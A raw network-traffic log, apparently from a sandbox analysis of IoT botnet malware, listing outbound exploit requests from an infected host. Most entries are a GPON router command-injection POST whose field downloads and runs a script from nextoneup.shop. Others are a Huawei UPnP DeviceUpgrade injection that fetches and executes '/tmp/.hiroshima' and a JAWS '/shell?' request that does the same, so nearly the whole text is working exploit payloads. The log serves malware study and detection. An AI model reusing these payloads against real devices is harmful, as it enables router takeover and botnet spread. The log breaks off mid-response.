Apr 14, 2024 03:59:57.140180111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.23	57500	5.20.8.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:57.140234947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.23	58444	2.200.207.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:57.140291929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.23	59912	37.161.37.254	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:57.200624943 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
727	192.168.2.23	54120	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:59.157263994 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 34 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:45Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.23	48248	5.29.101.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:00.208309889 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.23	58912	212.40.86.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:00.208389997 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.23	41270	178.73.3.227	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:00.208396912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.23	52862	117.63.62.116	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:00.208396912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.23	44508	109.144.65.192	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:00.208425045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.23	41976	202.174.249.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:00.208442926 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.23	50396	178.50.92.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:00.208528042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.23	54122	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:00.844651937 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 34 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:47Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.23	54138	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:01.515912056 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 34 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:48Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
737	192.168.2.23	54140	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:02.188278913 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 34 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:48Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.23	56526	94.6.243.65	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:03.223640919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.23	49430	5.90.96.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:03.223707914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.23	36202	118.40.193.31	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:03.223759890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.23	36816	42.254.113.123	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:03.223810911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.23	47858	118.11.202.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:03.223905087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.23	54142	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:03.899476051 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:50Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.23	51554	156.241.98.190	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:04.433794022 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.23	54168	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:04.594877958 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:51Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.23	60318	68.171.34.193	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:05.016774893 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:05.255670071 CEST	472	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:09:10 GMT Server: Apache/2.0.52 (Red Hat) Content-Length: 279 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 30 2e 35 32 20 28 52 65 64 20 48 61 74 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC 